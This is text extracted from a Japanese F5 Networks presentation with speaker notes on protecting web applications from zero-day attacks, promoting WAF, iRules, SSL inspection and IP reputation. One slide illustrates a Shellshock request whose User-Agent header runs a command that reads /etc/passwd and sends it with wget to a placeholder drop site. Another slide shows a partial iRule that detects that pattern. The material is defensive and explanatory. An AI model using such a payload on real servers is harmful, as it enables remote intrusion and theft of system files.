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1 ゼロデイ攻撃から Web アプリケーションを守る秘訣 F5 Networks, Inc. 1

2 Agenda 1.Web アプリケーションの脅威分析 2.Web アプリケーションを守るためにとるべき対策 3.F5 のソリューションを使って守る 法 3 現在では 数多くの企業がクラウドサービスを利用しています しかしながら その際のセキュリティ対策については オンプレミスと比較するときちんと施されていないというのが実情ではないでしょうか 今回は 企業がクラウドサービスを利用することで何が変わったのか サービスの認証に際して どんなところに気をつけなければいけないのか そして F5 ネットワークスジャパンはどんな貢献ができるのかなど クラウド時代のセキュリティ対策についてご紹介していきます F5 Networks, Inc. 2

3 Web アプリケーションの脅威分析 F5 Networks, Inc. 3

4 IPA による 2015 年版情報セキュリティ 10 脅威 Web アプリケーションに関連する脅威が上位を占めている 1 位 オンラインバンキングやクレジットカード情報の不正利 2 位 内部不正による情報漏えい 3 位 標的型攻撃による諜報活動 4 位 ウェブサービスへの不正ログイン 5 位 ウェブサービスからの顧客情報の窃取 6 位 ハッカー集団によるサイバーテロ 7 位 ウェブサイトの改ざん 8 位 インターネット基盤技術の悪 9 位 脆弱性公表に伴う攻撃の発 10 位 悪意のあるスマートフォンアプリ サイバーセキュリティの問題は今後 企業経営やビジネスモデルに きく関わってくる 全ての企業にとって 喫緊の経営課題なのである 週間ダイヤモンド 2015/01/10 号 Source: 7 こちらは 2015 年 2 月に IPA が選出した 情報セキュリティの脅威 トップ 10 です 主な脅威のうち Web アプリケーションに関連するもの ( 赤字で示した部分 ) が上位を占めているのがわかります また 先日発売された 週刊ダイヤモンド では サイバーセキュリティの特集が組まれました 経済誌である同誌でこういった特集が組まれ しかも専門誌と同レベルの内容が掲載されている点は注目に値します これは サイバーセキュリティ対策という観点がどの企業にとっても必要であり 特別なものではなくなったことを意味しているのでしょう F5 Networks, Inc. 4

5 サイバー攻撃のターゲットはアプリケーション 攻撃者 ( ハッカー集団 ) が狙うのは 企業が扱う情報 的は 銭化すなわち ビジネスとしているプロフェッショナル集団による 為 サイバー攻撃システム情報資産 狙うのはアプリが扱う情報 OS への脆弱性攻撃 DDoS 攻撃 アプリケーションミドルウェアネットワーク OS 知財顧客情報ビジネスプロセス取引情報 9 攻撃者が主に狙うのは 企業が扱っている知財や クレジットカード情報を含む顧客情報 取引情報 ビジネスプロセスなどの情報資産です 攻撃者は これらの情報を地下マーケットなどで金銭化することをビジネスとしています 彼らは組織化された プロの集団 であり その場しのぎ の対策では とうてい攻撃を防ぐことはできません F5 Networks, Inc. 5

6 Web アプリケーションの脆弱性 Web アプリケーションの は全てインターネットに向いているよって数多くの脅威に常にさらされている状況にある クロスサイトスクリプティング セッションハイジャッキング パラメータ異常 SQL インジェクション ブルートフォース攻撃 アカウントの詐称 アカウントの詐称 パスワードリスト型攻撃 11 Web アプリケーションへの入力は全てインターネット経由でアプリケーションに渡されます つまり 攻撃者はインターネット経由で攻撃できるため Web アプリケーションは常にさまざまな脅威から狙われている状況にあります 具体的な手法としては クロスサイトスクリプティングや SQL インジェクションなどがありますが 最近では ID とパスワードの組み合わせを手当たり次第に試していく パスワードリスト攻撃 が目立っています F5 Networks, Inc. 6

7 Web アプリケーションの構造 今 のトピック :Web アプリケーションをゼロディ攻撃から守るか? アプリ ブラウザ ネットワーク Web サーバ アプリ DB アプリ プレゼンテーションアプリケーションデータ search.php userprofile.php Tomcat JBoss user.db 13 Web アプリケーションをいかにしてゼロデイ攻撃から守るか? についてお話しします こちらは Web アプリケーションの大まかな構造についての図です ブラウザから見た場合 ネットワークを介して Web サーバにアクセスし その裏に Web アプリケーション さらにその奥にはデータベースがあります F5 Networks, Inc. 7

8 15 F5 Networks, Inc. 8

9 Shellshock による攻撃のイメージ Linux の bash の脆弱性を利 して遠隔から不正アクセス攻撃が成功すればパスワードファイルを取得することも可能に 攻撃者 User-agent: () {:;}; #shellcode Web サーバ /etc/passwd Passwd ファイル GET /search.php?name=acmeʼs&admin=1 HTTP/1.1 passwdファイルを隠しファイルにコピー Host: foo.com r n Connection: keep-alive r n User-Agent: () { :; }; echo shellshock; /bin/sh c cat wget /etc/passwd -post_data=/tmp/.xebm01y > r n <dropsite> r n passwd ファイルを外部に送信 17 話題となった bash(shellshock) の脆弱性では 外部から簡単なコマンドを使うことで脆弱性の有無を確認できます 脆弱性がある場合には リモートからコードの実行が可能です つまり この脆弱性を悪用すれば データベースから情報を盗むなど 何でもできてしまったわけです bash(shellshock) が衝撃的だった点は 特別なツールを使うことなく誰でも攻撃できてしまうことでした しかも攻撃先については Google を使えばいくらでも見つけられたのです F5 Networks, Inc. 9

10 ゼロデイ攻撃とは 脆弱性が発 されて対策が施されるまでに受ける攻撃 開いた窓 から脅威をコントロールすることゼロデイ攻撃対策 脆弱性発 脆弱性公開 パッチ提供 パッチ適応 脆弱性存在期間 ゼロディ攻撃が発 する期間 防御可能 脆弱性発 前の攻撃コード 0-Day 最初のシンプルな攻撃コード 初期の亜種 難読化など回避技術を駆使した攻撃コード カスタム化されて進化 脆弱性クローズ カウンターメジャー ( 対抗策 ) を打つ必要がある = ゼロディ攻撃対策 19 通常 OS やアプリケーションに脆弱性が発見されると その情報が一般に公開され ベンダから修正パッチが配布されます しかし各ユーザーはパッチを適用することで他のシステムに影響が出ないか検証を行う必要があるため 実際の適用までにはもう少し時間がかかります 一方 攻撃者は脆弱性が発見された時点から それを悪用したシンプルな攻撃コードを作成します 脆弱性が公開されるころには初期の亜種が誕生し パッチが提供されるころになると難読化などの回避技術を備えた攻撃コードが出現することがあります つまり 脆弱性が発見されてからパッチを適用するまでの間に すでに新しい攻撃手段が生まれているのです これらを使ってパッチが適用される前の無防備な脆弱性を狙う攻撃は ゼロデイ攻撃 と呼ばれており ユーザーは何らかのかたちで対抗策をとらなくてはなりません F5 Networks, Inc. 10

11 Web サイトの脆弱性対応 修正に要した時間の実態 対応までの 期化は避けられない 30 以内に修正できたのは 50% SQL インジェクション ディレクトリ トラバーサル クロスサイト スクリプティング ソフトウェア等の脆弱性関連情報の取扱いに関する活動報告レポート [2014 年第 3 四半期 (7 9 )] 21 F5 Networks, Inc. 11

12 SSL 通信の拡 と OpenSSL の脆弱性対策の重要性 SSL 化は年間 30% の拡 規模で進み 現在第 4 フェーズに っている 2014 年は SSL に関連する脆弱性対策が重要な問題になった OpenSSL の脆弱性 Heartbleed に対する攻撃状況脆弱性公開直後から攻撃が増加 Netcraft 社のSSL Surveyを基にF5 Networksで作成縦軸 : SSL 証明書の発 件数 ( 単位 :10K) 出典 : 株式会社ラック JSOC INSIGHT vol.5 23 F5 Networks, Inc. 12

13 Web アプリケーションのセキュリティ対策ボトルネックは何か? システムが複雑で解析不可能! Web サーバは められません! 対応が必要なのかわからない! 対応できる要員がいない! IT 運 セキュリティアプリ開発 新規サービス優先でセキュリティ対策は後 に! 経営課題として全ての企業が取り組む必要がある 現状打破の必要性 25 Web アプリケーションのセキュリティ対策には テストや検証といった作業のほか Web サーバを止められない 新規サービスが優先でセキュリティ対策に手が回らない システムが複雑で解析できない 対応できる要員がいない そもそも対応が必要なのかどうかわからないなど さまざまなボトルネックが存在します F5 Networks, Inc. 13

14 Web アプリケーションを守るためにとるべき対策 F5 Networks, Inc. 14

15 Web アプリケーションのセキュリティ対策の課題 脅威の存在が可視化されない 脆弱性のコントロールができない どこから対策に着 したらよいかわからない 29 Web アプリケーションのセキュリティ対策における課題をまとめると 3 点が挙げられます 脅威の存在が可視化されない 脆弱性のコントロールができない どこから対策に着手したらよいかわからない つまり 脅威の実態が見えない Web アプリケーションの脆弱性を把握できない 対策を打つにしてもどこから手を付けていいのかわからない ということです F5 Networks, Inc. 15

16 サイバー攻撃によるインシデントとは リスク = 脅威 脆弱性 情報資産 脅威 情報資産を脅かす 為 サイバー攻撃 DDoS 攻撃 不正なログイン SQL インジェクション ホームページの改竄 脆弱性 システム上の問題点 瑕疵 脆弱性のあるソフトウェア OS ミドルウェア RDB アプリケーション 設定ミス 情報資産 様々な知財 ID 情報 顧客情報 事業を えるシステム 踏み台になることによる第三者への影響 悪 剥奪 31 サイバー攻撃によるインシデントのリスクは 脅威 脆弱性 情報資産の 3 つが揃うことで高まっていきます サイバー攻撃などのさまざまな脅威は OS やミドルウェア アプリケーションの脆弱性を突くことで 企業の情報資産を剥奪します 情報資産には さまざまな知財 ID 情報や顧客情報 事業を支えるシステムのほか端末も含まれており 乗っ取られたのち踏み台として悪用されるケースも多々あります F5 Networks, Inc. 16

17 Web アプリケーションを守ることとは インシデントの回避を うために コントロールできる状態にすること HTTP リクエスト アプリケーションレイヤへ脅威を れない 複雑化したアプリケーションの脆弱性の把握 最新の脅威対策としての PDCA が実 できる Web サーバ CGI/ JavaScript アプリケーションサーバ データベースサーバ 情報 33 Web アプリケーションを守る とは すなわち インシデントを回避するため コントロールできる状態にすること です 脅威は 脆弱性を悪用するよう細工された HTTP リクエストによって Web サーバ アプリケーションサーバ データベースサーバへ侵入し 情報へとアクセスします それゆえ アプリケーションレイヤへ脅威を入れないこと 複雑化したアプリケーションの脆弱性の把握 最新の脅威対策としての PDCA が実行できること が重要なのです F5 Networks, Inc. 17

18 フレ ムワ クコアサイバーセキュリティ戦略 PDCA サイクルをまわすための統合的な対策を う必要がある 例 : サイバーセキュリティフレームワーク をテンプレート 重要インフラにおけるサイバーセキュリティからのリスクを低減し 管理するためのガイダンス 国 NIST( 国 標準技術研究所 ) により考案 発布 構成内容 フレームワークコア :5 つのコア機能 インプリメンテーション :4 段階の成熟度 プロファイル : 達成要件 ( 現状 ゴール ) それぞれの機能に 各機能の内容をカテゴリ サブカテゴリーと細分化して実装していく成熟度モデルを形成 サイバーフレームワークの 本語訳は IPA のホームページからダウンロード可能 35 脅威対策の PDCA サイクルを回すためには 統合的な対策を行う必要があります 米国 NIST(National Institute of Standards and Technology 国立標準技術研究所 ) による サイバーセキュリティフレームワーク をテンプレートとしたもので 特定 防御 検知 対応 復旧 の 5 つのコア機能で構成されており それぞれの機能にその内容をカテゴリ サブカテゴリと細分化して実装していく成熟度モデルを形成します F5 Networks, Inc. 18

19 F5 のソリューションを使って守る 法 F5 Networks, Inc. 19

20 Web アプリケーションを守るための F5 からの具体策 PDCA をまわすための多層防御 SSL の可視化 IP レピュテーションの活 39 F5 では Web アプリケーションを守るための具体策として PDCA をまわすための多層防御 SSL の可視化 IP レピュテーションの活用 の 3 つを提案しています F5 Networks, Inc. 20

21 Web アプリケーションを守る多層防御とは お互いの機能を連携して最新の脅威に対抗できる PDCA の運 を実現し Web アプリケーションを要塞化する 特定 防御 検知 対応 復旧を実現 多層防御 システム Webアプリケーションを守るサーバを守るネットワークを守る FW IPS WAF アプリケーションミドルウェアネットワーク OS データ 41 ファイアウォール IPS WAF はそれぞれネットワーク サーバ Web アプリケーションを守るもので それぞれの目的は大きく異なります 例えば Web アプリケーションを守るためには HTTP のペイロードデータ部分を監視する必要があり ここは WAF と IPS で守ります 多層防御とは このように複数のセキュリティの機能を連携させることで 最新の脅威に対抗できる PDCA の運用を実現することです Web アプリケーションをいわば 要塞化 することで 脅威に対する特定 防御 検知 対応 復旧を実現します F5 Networks, Inc. 21

22 パスワードリスト型攻撃に対する多層防御の効果 課題 : 気がついたら 社のホームページに 不正ログイン インシデントが発 認証機能の強化を検討したいが即効性のある対応も必要 攻撃者 不正ログイン の第 フェーズはパスワードリストを いた 量のログイン攻撃 多くの場合はログイン失敗 Web サーバ パスワードリスト User ID password taro@xxx.com password hanako@xxx.com 1234 ichiro@xxx.com ichiro ziro@xxx.com abc 成功した場合 不正情報搾取 ブルートフォース型のログイン試 の早期検知は WAF が実施 43 ここでは 2014 年ごろから頻発している パスワードリスト型攻撃 に対する多層防御の効果をみてみましょう パスワードリスト型攻撃は 脆弱な Web サービスなどから入手した ID とパスワードの組み合わせを使って 別のサービスにログインしようという手法です 同じ ID とパスワードの組み合わせを複数のサービスで使用しているユーザーも多いため 他の攻撃よりログインできる確率が高く Web サービス側も不正なログインであるかどうかを判別できません しかし パスワードリスト型攻撃による不正ログインの多くは リストを用いた 数を打てば当たる 的なブルートフォース型攻撃となるため ログインに失敗することも多く WAF があればこれを早期に検知することが可能となります F5 Networks, Inc. 22

23 WAF を使ったパスワードリスト型攻撃対策 Cookie によるセッション管理対策で精度の い不正ログイン検知 クライアントブラウザ BIG-IP ASM Web アプリケーション 認証ページ URI にリクエスト 認証失敗回数をカウント BIG-IPはCookieを付与 ( セッション管理 ) レスポンス 認証リクエスト 1 回 (URI へ ID/Password を POST with Cookie) Cookie: 認証失敗回数 1 認証失敗 IP レピュテーション情報ジオロケーション情報 認証リクエスト 2 回 (URI へ ID/Password を POST with Cookie) 規定認証失敗回数を超えたリクエストをブロックもしくは別ページで CAPTCHA 認証 Cookie: 認証失敗回数 2 認証リクエストN 回 (URIへID/PasswordをPOST with Cookie) リクエストをブロック 認証失敗 ログから相関分析 45 F5 の WAF 製品 BIG-IP ASM なら さらに精度の高い不正ログイン検知が可能になります BIG-IP ASM では クライアントのブラウザから認証ページの URI にリクエストがあった際 Cookie を付与します これにより 例えログイン試行に使う ID とパスワードの組み合わせが変わっても送信元を特定できるため 規定の認証失敗回数を超えた場合に以後のリクエストをブロックしたり 別ページで CAPTCHA 認証を要求したりといった対策が実施できます また ログに対して IP レピュテーション情報やジオロケーション情報による相関分析を行うことも可能です F5 Networks, Inc. 23

24 脆弱性診断ツールと WAF の連携 課題 : 脆弱性診断ツールによる脆弱性の発 から アプリケーション開発の対応の完了までには時間がかかる WAF 検知 防御 脆弱性診断ツール特定 アプリケーション開発チームの対応 アプリの改修 バーチャルパッチで検知 防御 サーバチームパッチ対応 Web サーバ CGI/ JavaScript アプリケーションサーバ データベースサーバ 情報 パッチ運 計画 47 脆弱性診断ツールと WAF の連携により 脆弱性の発見からパッチ対応までに時間がかかる という課題も解決できます まず脆弱性診断ツールで脆弱性を特定したら 直ちに WAF でバーチャルパッチを適用でいます 開発チームによるアプリの改修 サーバチームによるパッチ運用が完了するまでの間 攻撃を検知 防御することができます F5 Networks, Inc. 24

25 脆弱性に対するポリシーを WAF でコントロール 脆弱性診断ツールの結果から対応ポリシーを作るのは簡単なクリック作業のみ バーチャルパッチ を即座に作成アプリケーション技術無しにわずらわしいポリシー作成 数を 幅に削減 Import した XML から 動的に脆弱性リストが作成される アクションを選択ステージング ( 検知するが防御しない ) も選択可能 影響度や影響範囲によって対策項 を選択する 49 WAF の運用においては 脆弱性に対するポリシーを作成する必要がありますが これは工数のかかる専門的な作業です しかし BIG-IP ASM なら 脆弱性診断ツールの結果から簡単なクリック作業のみでバーチャルパッチを即座に作成できるため 工数を大幅に削減できます 脆弱性診断ツールで検出した脆弱性は一覧で表示され 影響度や影響範囲によって対策を選択したり 脆弱性ごとにアクションを指定したりできます F5 Networks, Inc. 25

26 BIG-IP の irules によるトラフィックのコントロール 課題 : 脆弱性が公開されても影響があるかどうかわからないシステムを めずに早期のカウンターメジャー ( 対抗策 ) がとれないか? 攻撃者 1 User-agent: () {:;}; #shellcode Webサーバ 2 iruleの処理 () {? Shellshockの例 WebサーバはLinuxなので最悪リモートコマンド実 につながる脆弱性 CGIでbashを使っているかどうか判別に時間がかかる irulesを使って検知 防御 セッション RESET 3 51 脆弱性が公開されたが 影響があるかどうかわからないので システムを止めずに早期の対抗策がとりたいニーズについては BIG-IP ASM の irules によるトラフィックのコントロールが有効です F5 Networks, Inc. 26

27 irules による Shellshock 対策の例 スクリプトによる迅速で柔軟なサイバーセキュリティ対策脆弱性に対する攻撃をいち早く検知 防御 対応することが可能脆弱性 (CVE ) 公開の翌 に F5 DevCentral にて提供 when HTTP_REQUEST { Shellshock 対策のiRule 例 ( 部分 ) set pattern "*() {*"; foreach header_name [ names] { foreach header_value [ values $header_name] { if { [string match $pattern $header_value] } { log local0. "Detected CVE attack from '[IP::client_addr]' in HTTP Header $header_name = '$header_value'; URI = '[ reject; リクエストを防御 break; HTTP ヘッダ値に shellshock の攻撃パターン ( {} ( ; ) を検知 53 BIG-IP ASM の irules によるトラフィックのコントロールは スクリプトによって攻撃の検知 防御 対応を行うもので 前述の脆弱性 Shellshock が公開されたときは その翌日に対応 irules を F5 DevCentral にて提供しました F5 Networks, Inc. 27

28 SSL 化が進むアプリケーションデリバリーにおける課題と解決策 課題 : SSL により途中のセキュリティデバイスが検知 防御できない IPS などで SSL の復号 再暗号化処理を うと 負荷が増して本来のセキュリティ処理に影響する ユーザ DDoS 対策 FW IPS WAF サーバロードバランサ Web サーバ インターネット SSL セキュリティ対策をより効果的にするために SSL の可視化が必要 55 昨今 アプリケーションデリバリーの SSL 化が進むことで 途中のセキュリティデバイスが検知 防御できない あるいは IPS などで SSL の復号 再暗号化処理を行うと 負荷が増して本来のセキュリティ処理に影響するといった課題が出てきました そこで SSL の可視化 が必要となっているのです F5 Networks, Inc. 28

29 BIG-IP を使った 速 SSL 処理と IPS のインテリジェンスを活 する次世代 IPS 検知モード (IDSモード) でも防御を実装 IPSのSSL 処理の負荷を軽減 3 防御 IPブラックリストにより攻撃を遮断 BIG-IP アプリケーション SSL 非 SSL WebAPI SSL App 1 App 2 Database 1 検知 FirePOWER (IPS) で検知 CISCO FirePOWER IPS CISCO ForeSIGHT Management 2 対応 ForeSIGHT で IP ブラックリストを 成 BIG-IP にリストを API で 動更新 57 そこで IPS である Cisco FirePOWER により検知を実施 Cisco ForeSIGHT Management で IP ブラックリストを生成 BIG-IP ASM のリストを API で自動更新します これにより SSL 通信であっても攻撃を迅速に遮断することが可能になります F5 Networks, Inc. 29

30 IP レピュテーションの活 課題 : サイバー攻撃は既存のセキュリティ製品の設定を回避して侵 する 乗っ取られたアカウントを使った不正ログイン Web サーバへの探索 為 踏み台 やボットネットからの攻撃といった 活動拠点 からのアクセスを特定し 検知 防御するために IP レピュテーション (IP ブラックリスト ) を活 する さらにジオロケーション (IP アドレスの地域情報 ) も参考にアクセス傾向を分析 59 F5 Networks, Inc. 30

31 IP レピュテーションと Geo ロケーションを活 した脅威対策 ファイアウォールや WAF のポリシーを補完 パスワードリスト型攻撃にも有効 IP Intelligence Service 情報システム系 PC サーバー ポートスキャン 61 サイバー攻撃は既存のセキュリティ製品の設定を回避して侵入してくるという課題がありますが BIG- IP ASM では踏み台端末やボットネットからの攻撃といった 活動拠点元 からのアクセスを特定し IP レピュテーション (IP ブラックリスト ) を活用して検知 防御を行います さらに ジオロケーション (IP アドレスの地域情報 ) も参考にアクセス傾向を分析し ファイアウォールや WAF のポリシーを補完します これは パスワードリスト型攻撃にも有効な対策です F5 Networks, Inc. 31

32 まとめ Web アプリケーションをゼロディ攻撃から守るためには 脅威と脆弱性に対する 特定 防御 検知 対応 復旧 プロセスを実装することが 切 連携できる多層防御を導 してPDCAを実現 SSLを可視化してセキュリティ対策を強化する IPレピュテーションを活 して脅威をリアルタイムに検知 防御する F5 はアプリケーション デリバリ コントローラ市場のリーダとして可 性と安全性を両 させるセキュリティ対策ソリューションを提供いたします 63 F5 Networks, Inc. 32

33 お問い合わせ窓 について 社の課題が解決できるのか知りたい 積りがほしい 相談に乗ってくれる販売パートナーを紹介してほしい など お気軽に下記の Web フォームよりお問合せ下さい! F5 First Contact( お問い合わせフォーム ) 65 F5 Networks, Inc. 33

34 F5 Networks, Inc. 34

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